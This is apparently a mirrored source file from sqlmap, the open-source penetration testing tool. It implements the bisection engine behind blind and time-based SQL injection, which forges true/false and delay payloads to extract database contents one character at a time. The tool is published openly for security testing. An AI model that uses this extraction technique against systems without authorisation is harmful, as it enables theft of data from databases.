mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 18:43:47 +03:00
743 lines
34 KiB
Python
743 lines
34 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
from __future__ import division
|
|
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import Backend
|
|
from lib.core.common import calculateDeltaSeconds
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import decodeDbmsHexValue
|
|
from lib.core.common import decodeIntToUnicode
|
|
from lib.core.common import filterControlChars
|
|
from lib.core.common import getCharset
|
|
from lib.core.common import getCounter
|
|
from lib.core.common import getPartRun
|
|
from lib.core.common import getTechnique
|
|
from lib.core.common import getTechniqueData
|
|
from lib.core.common import goGoodSamaritan
|
|
from lib.core.common import hashDBRetrieve
|
|
from lib.core.common import hashDBWrite
|
|
from lib.core.common import incrementCounter
|
|
from lib.core.common import isDigit
|
|
from lib.core.common import isListLike
|
|
from lib.core.common import safeStringFormat
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.enums import ADJUST_TIME_DELAY
|
|
from lib.core.enums import CHARSET_TYPE
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.exception import SqlmapThreadException
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
|
from lib.core.settings import CHAR_INFERENCE_MARK
|
|
from lib.core.settings import INFERENCE_BLANK_BREAK
|
|
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
|
from lib.core.settings import INFERENCE_GREATER_CHAR
|
|
from lib.core.settings import INFERENCE_MARKER
|
|
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
|
from lib.core.settings import MAX_BISECTION_LENGTH
|
|
from lib.core.settings import MAX_REVALIDATION_STEPS
|
|
from lib.core.settings import NULL
|
|
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
|
from lib.core.settings import PAYLOAD_DELIMITER
|
|
from lib.core.settings import RANDOM_INTEGER_MARKER
|
|
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
|
|
from lib.core.threads import getCurrentThreadData
|
|
from lib.core.threads import runThreads
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.progress import ProgressBar
|
|
from lib.utils.safe2bin import safecharencode
|
|
from lib.utils.xrange import xrange
|
|
from thirdparty import six
|
|
|
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
|
"""
|
|
Bisection algorithm that can be used to perform blind SQL injection
|
|
on an affected host
|
|
"""
|
|
|
|
abortedFlag = False
|
|
showEta = False
|
|
partialValue = u""
|
|
finalValue = None
|
|
retrievedLength = 0
|
|
|
|
if payload is None:
|
|
return 0, None
|
|
|
|
if charsetType is None and conf.charset:
|
|
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
|
|
else:
|
|
asciiTbl = getCharset(charsetType)
|
|
|
|
threadData = getCurrentThreadData()
|
|
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
|
retVal = hashDBRetrieve(expression, checkConf=True)
|
|
|
|
if retVal:
|
|
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
|
|
pass
|
|
elif PARTIAL_HEX_VALUE_MARKER in retVal:
|
|
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
|
|
|
|
if retVal and conf.hexConvert:
|
|
partialValue = retVal
|
|
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
|
|
logger.info(infoMsg)
|
|
elif PARTIAL_VALUE_MARKER in retVal:
|
|
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
|
|
|
|
if retVal and not conf.hexConvert:
|
|
partialValue = retVal
|
|
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
|
|
logger.info(infoMsg)
|
|
else:
|
|
infoMsg = "resumed: %s" % safecharencode(retVal)
|
|
logger.info(infoMsg)
|
|
|
|
return 0, retVal
|
|
|
|
if Backend.isDbms(DBMS.MCKOI):
|
|
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
|
|
if match:
|
|
original = queries[Backend.getIdentifiedDbms()].inference.query
|
|
right = original.split('<')[1]
|
|
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
|
expression = match.group(1).strip()
|
|
|
|
elif Backend.isDbms(DBMS.FRONTBASE):
|
|
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
|
if match:
|
|
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
|
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
|
expression = match.group(2).strip()
|
|
|
|
try:
|
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
|
if conf.predictOutput:
|
|
kb.partRun = getPartRun()
|
|
elif conf.api:
|
|
kb.partRun = getPartRun(alias=False)
|
|
else:
|
|
kb.partRun = None
|
|
|
|
if partialValue:
|
|
firstChar = len(partialValue)
|
|
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
|
firstChar = 0
|
|
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
|
firstChar = int(conf.firstChar) - 1
|
|
if kb.fileReadMode:
|
|
firstChar <<= 1
|
|
elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):
|
|
firstChar = int(firstChar) - 1
|
|
else:
|
|
firstChar = 0
|
|
|
|
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
|
lastChar = 0
|
|
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
|
lastChar = int(conf.lastChar)
|
|
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
|
|
lastChar = int(lastChar)
|
|
else:
|
|
lastChar = 0
|
|
|
|
if Backend.getDbms():
|
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
expressionUnescaped = unescaper.escape(expressionReplaced)
|
|
else:
|
|
expressionUnescaped = unescaper.escape(expression)
|
|
|
|
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
|
|
length = int(length)
|
|
else:
|
|
length = None
|
|
|
|
if length == 0:
|
|
return 0, ""
|
|
|
|
if length and (lastChar > 0 or firstChar > 0):
|
|
length = min(length, lastChar or length) - firstChar
|
|
|
|
if length and length > MAX_BISECTION_LENGTH:
|
|
length = None
|
|
|
|
showEta = conf.eta and isinstance(length, int)
|
|
|
|
if kb.bruteMode:
|
|
numThreads = 1
|
|
else:
|
|
numThreads = min(conf.threads or 0, length or 0) or 1
|
|
|
|
if showEta:
|
|
progress = ProgressBar(maxValue=length)
|
|
|
|
if numThreads > 1:
|
|
if not timeBasedCompare or kb.forceThreads:
|
|
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
|
|
logger.debug(debugMsg)
|
|
else:
|
|
numThreads = 1
|
|
|
|
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
|
|
warnMsg = "running in a single-thread mode. Please consider "
|
|
warnMsg += "usage of option '--threads' for faster data retrieval"
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
|
|
if isinstance(length, int) and numThreads > 1:
|
|
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
else:
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
|
|
def tryHint(idx):
|
|
with kb.locks.hint:
|
|
hintValue = kb.hintValue
|
|
|
|
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
|
if "'%s'" % CHAR_INFERENCE_MARK in payload:
|
|
posValue = hintValue[idx - 1]
|
|
else:
|
|
posValue = ord(hintValue[idx - 1])
|
|
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
|
forgedPayload = agent.extractPayload(payload) or ""
|
|
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
|
|
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
if result:
|
|
return hintValue[idx - 1]
|
|
|
|
with kb.locks.hint:
|
|
kb.hintValue = ""
|
|
|
|
return None
|
|
|
|
def validateChar(idx, value):
|
|
"""
|
|
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
|
|
"""
|
|
|
|
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
|
|
|
|
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
|
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
|
|
else:
|
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
|
|
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
|
|
|
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
if result and timeBasedCompare and getTechniqueData().trueCode:
|
|
result = threadData.lastCode == getTechniqueData().trueCode
|
|
if not result:
|
|
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
incrementCounter(getTechnique())
|
|
|
|
return result
|
|
|
|
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
|
"""
|
|
continuousOrder means that distance between each two neighbour's
|
|
numerical values is exactly 1
|
|
"""
|
|
|
|
result = tryHint(idx)
|
|
|
|
if result:
|
|
return result
|
|
|
|
if charTbl is None:
|
|
charTbl = type(asciiTbl)(asciiTbl)
|
|
|
|
originalTbl = type(charTbl)(charTbl)
|
|
|
|
if kb.disableShiftTable:
|
|
shiftTable = None
|
|
elif continuousOrder and shiftTable is None:
|
|
# Used for gradual expanding into unicode charspace
|
|
shiftTable = [2, 2, 3, 3, 3]
|
|
|
|
if "'%s'" % CHAR_INFERENCE_MARK in payload:
|
|
for char in ('\n', '\r'):
|
|
if ord(char) in charTbl:
|
|
charTbl.remove(ord(char))
|
|
|
|
if not charTbl:
|
|
return None
|
|
|
|
elif len(charTbl) == 1:
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
if result:
|
|
return decodeIntToUnicode(charTbl[0])
|
|
else:
|
|
return None
|
|
|
|
maxChar = maxValue = charTbl[-1]
|
|
minValue = charTbl[0]
|
|
firstCheck = False
|
|
lastCheck = False
|
|
unexpectedCode = False
|
|
|
|
if continuousOrder:
|
|
while len(charTbl) > 1:
|
|
position = None
|
|
|
|
if charsetType is None:
|
|
if not firstCheck:
|
|
try:
|
|
try:
|
|
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
|
|
except IndexError:
|
|
lastChar = None
|
|
else:
|
|
if 'a' <= lastChar <= 'z':
|
|
position = charTbl.index(ord('a') - 1) # 96
|
|
elif 'A' <= lastChar <= 'Z':
|
|
position = charTbl.index(ord('A') - 1) # 64
|
|
elif '0' <= lastChar <= '9':
|
|
position = charTbl.index(ord('0') - 1) # 47
|
|
except ValueError:
|
|
pass
|
|
finally:
|
|
firstCheck = True
|
|
|
|
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
|
|
if charTbl[(len(charTbl) >> 1)] < ord(' '):
|
|
try:
|
|
# favorize last char check if current value inclines toward 0
|
|
position = charTbl.index(1)
|
|
except ValueError:
|
|
pass
|
|
finally:
|
|
lastCheck = True
|
|
|
|
if position is None:
|
|
position = (len(charTbl) >> 1)
|
|
|
|
posValue = charTbl[position]
|
|
falsePayload = None
|
|
|
|
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
|
|
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
|
|
else:
|
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
|
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
|
|
|
|
if timeBasedCompare:
|
|
if kb.responseTimeMode:
|
|
kb.responseTimePayload = falsePayload
|
|
else:
|
|
kb.responseTimePayload = None
|
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(getTechnique())
|
|
|
|
if not timeBasedCompare and getTechniqueData() is not None:
|
|
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
|
|
if unexpectedCode:
|
|
if threadData.lastCode is not None:
|
|
warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode
|
|
else:
|
|
warnMsg = "unexpected response detected."
|
|
|
|
warnMsg += " Will use (extra) validation step in similar cases"
|
|
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
if result:
|
|
minValue = posValue
|
|
|
|
if not isinstance(charTbl, xrange):
|
|
charTbl = charTbl[position:]
|
|
else:
|
|
# xrange() - extended virtual charset used for memory/space optimization
|
|
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
|
|
else:
|
|
maxValue = posValue
|
|
|
|
if not isinstance(charTbl, xrange):
|
|
charTbl = charTbl[:position]
|
|
else:
|
|
charTbl = xrange(charTbl[0], charTbl[position])
|
|
|
|
if len(charTbl) == 1:
|
|
if maxValue == 1:
|
|
return None
|
|
|
|
# Going beyond the original charset
|
|
elif minValue == maxChar:
|
|
# If the original charTbl was [0,..,127] new one
|
|
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
|
|
# and instead of making a HUGE list with all the
|
|
# elements we use a xrange, which is a virtual
|
|
# list
|
|
if expand and shiftTable:
|
|
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
|
|
originalTbl = xrange(charTbl)
|
|
maxChar = maxValue = charTbl[-1]
|
|
minValue = charTbl[0]
|
|
else:
|
|
kb.disableShiftTable = True
|
|
return None
|
|
else:
|
|
retVal = minValue + 1
|
|
|
|
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
|
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
|
|
if not kb.originalTimeDelay:
|
|
kb.originalTimeDelay = conf.timeSec
|
|
|
|
threadData.validationRun = 0
|
|
if (retried or 0) < MAX_REVALIDATION_STEPS:
|
|
errMsg = "invalid character detected. retrying.."
|
|
logger.error(errMsg)
|
|
|
|
if timeBasedCompare:
|
|
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
|
|
conf.timeSec += 1
|
|
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
|
logger.warning(warnMsg)
|
|
|
|
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
|
dbgMsg = "turning off time auto-adjustment mechanism"
|
|
logger.debug(dbgMsg)
|
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
|
|
|
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
|
|
else:
|
|
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
|
|
logger.error(errMsg)
|
|
conf.timeSec = kb.originalTimeDelay
|
|
return decodeIntToUnicode(retVal)
|
|
else:
|
|
if timeBasedCompare:
|
|
threadData.validationRun += 1
|
|
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
|
|
dbgMsg = "turning back on time auto-adjustment mechanism"
|
|
logger.debug(dbgMsg)
|
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
|
|
|
|
return decodeIntToUnicode(retVal)
|
|
else:
|
|
return None
|
|
else:
|
|
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
|
|
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
candidates = list(originalTbl)
|
|
bit = 0
|
|
while len(candidates) > 1:
|
|
bits = {}
|
|
for candidate in candidates:
|
|
bit = 0
|
|
while candidate:
|
|
bits.setdefault(bit, 0)
|
|
bits[bit] += 1 if candidate & 1 else -1
|
|
candidate >>= 1
|
|
bit += 1
|
|
|
|
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
|
|
mask = 1 << choice
|
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
if result:
|
|
candidates = [_ for _ in candidates if _ & mask > 0]
|
|
else:
|
|
candidates = [_ for _ in candidates if _ & mask == 0]
|
|
|
|
bit += 1
|
|
|
|
if candidates:
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
if result:
|
|
return decodeIntToUnicode(candidates[0])
|
|
|
|
# Go multi-threading (--threads > 1)
|
|
if numThreads > 1 and isinstance(length, int) and length > 1:
|
|
threadData.shared.value = [None] * length
|
|
threadData.shared.index = [firstChar] # As list for python nested function scoping
|
|
threadData.shared.start = firstChar
|
|
|
|
try:
|
|
def blindThread():
|
|
threadData = getCurrentThreadData()
|
|
|
|
while kb.threadContinue:
|
|
with kb.locks.index:
|
|
if threadData.shared.index[0] - firstChar >= length:
|
|
return
|
|
|
|
threadData.shared.index[0] += 1
|
|
currentCharIndex = threadData.shared.index[0]
|
|
|
|
if kb.threadContinue:
|
|
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
|
|
if val is None:
|
|
val = INFERENCE_UNKNOWN_CHAR
|
|
else:
|
|
break
|
|
|
|
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
|
|
if not isListLike(threadData.shared.value):
|
|
break
|
|
|
|
with kb.locks.value:
|
|
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
|
|
currentValue = list(threadData.shared.value)
|
|
|
|
if kb.threadContinue:
|
|
if showEta:
|
|
progress.progress(threadData.shared.index[0])
|
|
elif conf.verbose >= 1:
|
|
startCharIndex = 0
|
|
endCharIndex = 0
|
|
|
|
for i in xrange(length):
|
|
if currentValue[i] is not None:
|
|
endCharIndex = max(endCharIndex, i)
|
|
|
|
output = ''
|
|
|
|
if endCharIndex > conf.progressWidth:
|
|
startCharIndex = endCharIndex - conf.progressWidth
|
|
|
|
count = threadData.shared.start
|
|
|
|
for i in xrange(startCharIndex, endCharIndex + 1):
|
|
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
|
|
|
|
for i in xrange(length):
|
|
count += 1 if currentValue[i] is not None else 0
|
|
|
|
if startCharIndex > 0:
|
|
output = ".." + output[2:]
|
|
|
|
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
|
|
output = output[:-2] + ".."
|
|
|
|
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
|
|
_ = count - firstChar
|
|
output += '_' * (min(length, conf.progressWidth) - len(output))
|
|
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
|
|
output += status if _ != length else " " * len(status)
|
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
|
|
|
|
runThreads(numThreads, blindThread, startThreadMsg=False)
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
|
|
finally:
|
|
value = [_ for _ in partialValue]
|
|
value.extend(_ for _ in threadData.shared.value)
|
|
|
|
infoMsg = None
|
|
|
|
# If we have got one single character not correctly fetched it
|
|
# can mean that the connection to the target URL was lost
|
|
if None in value:
|
|
partialValue = "".join(value[:value.index(None)])
|
|
|
|
if partialValue:
|
|
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
|
|
else:
|
|
finalValue = "".join(value)
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
|
|
|
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
|
|
dataToStdout(infoMsg)
|
|
|
|
# No multi-threading (--threads = 1)
|
|
else:
|
|
index = firstChar
|
|
threadData.shared.value = ""
|
|
|
|
while True:
|
|
index += 1
|
|
|
|
# Common prediction feature (a.k.a. "good samaritan")
|
|
# NOTE: to be used only when multi-threading is not set for
|
|
# the moment
|
|
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
|
val = None
|
|
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
|
|
|
# If there is one single output in common-outputs, check
|
|
# it via equal against the query output
|
|
if commonValue is not None:
|
|
# One-shot query containing equals commonValue
|
|
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
|
|
|
|
query = getTechniqueData().vector
|
|
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
|
|
query = agent.suffixQuery(query)
|
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
# Did we have luck?
|
|
if result:
|
|
if showEta:
|
|
progress.progress(len(commonValue))
|
|
elif conf.verbose in (1, 2) or conf.api:
|
|
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
|
|
|
finalValue = commonValue
|
|
break
|
|
|
|
# If there is a common pattern starting with partialValue,
|
|
# check it via equal against the substring-query output
|
|
if commonPattern is not None:
|
|
# Substring-query containing equals commonPattern
|
|
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
|
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
|
|
|
|
query = getTechniqueData().vector
|
|
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
|
|
query = agent.suffixQuery(query)
|
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
incrementCounter(getTechnique())
|
|
|
|
# Did we have luck?
|
|
if result:
|
|
val = commonPattern[index - 1:]
|
|
index += len(val) - 1
|
|
|
|
# Otherwise if there is no commonValue (single match from
|
|
# txt/common-outputs.txt) and no commonPattern
|
|
# (common pattern) use the returned common charset only
|
|
# to retrieve the query output
|
|
if not val and commonCharset:
|
|
val = getChar(index, commonCharset, False)
|
|
|
|
# If we had no luck with commonValue and common charset,
|
|
# use the returned other charset
|
|
if not val:
|
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
|
else:
|
|
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
|
|
|
|
if val is None:
|
|
finalValue = partialValue
|
|
break
|
|
|
|
if kb.data.processChar:
|
|
val = kb.data.processChar(val)
|
|
|
|
threadData.shared.value = partialValue = partialValue + val
|
|
|
|
if showEta:
|
|
progress.progress(index)
|
|
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
|
dataToStdout(filterControlChars(val))
|
|
|
|
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
|
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
|
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
|
break
|
|
elif charsetType and partialValue[-1:].isspace():
|
|
finalValue = partialValue[:-1]
|
|
break
|
|
|
|
if (lastChar > 0 and index >= lastChar):
|
|
finalValue = "" if length == 0 else partialValue
|
|
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
|
|
partialValue = None
|
|
break
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
finally:
|
|
kb.prependFlag = False
|
|
retrievedLength = len(finalValue or "")
|
|
|
|
if finalValue is not None:
|
|
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
|
|
hashDBWrite(expression, finalValue)
|
|
elif partialValue:
|
|
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
|
|
|
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
|
|
dataToStdout(infoMsg)
|
|
else:
|
|
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
|
|
dataToStdout("\n")
|
|
|
|
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
|
|
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
|
|
logger.info(infoMsg)
|
|
|
|
if kb.threadException:
|
|
raise SqlmapThreadException("something unexpected happened inside the threads")
|
|
|
|
if abortedFlag:
|
|
raise KeyboardInterrupt
|
|
|
|
_ = finalValue or partialValue
|
|
|
|
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
|
|
|
|
def queryOutputLength(expression, payload):
|
|
"""
|
|
Returns the query output length.
|
|
"""
|
|
|
|
infoMsg = "retrieving the length of query output"
|
|
logger.info(infoMsg)
|
|
|
|
start = time.time()
|
|
|
|
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
|
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
|
|
logger.debug(debugMsg)
|
|
|
|
if isinstance(length, six.string_types) and length.isspace():
|
|
length = 0
|
|
|
|
return length
|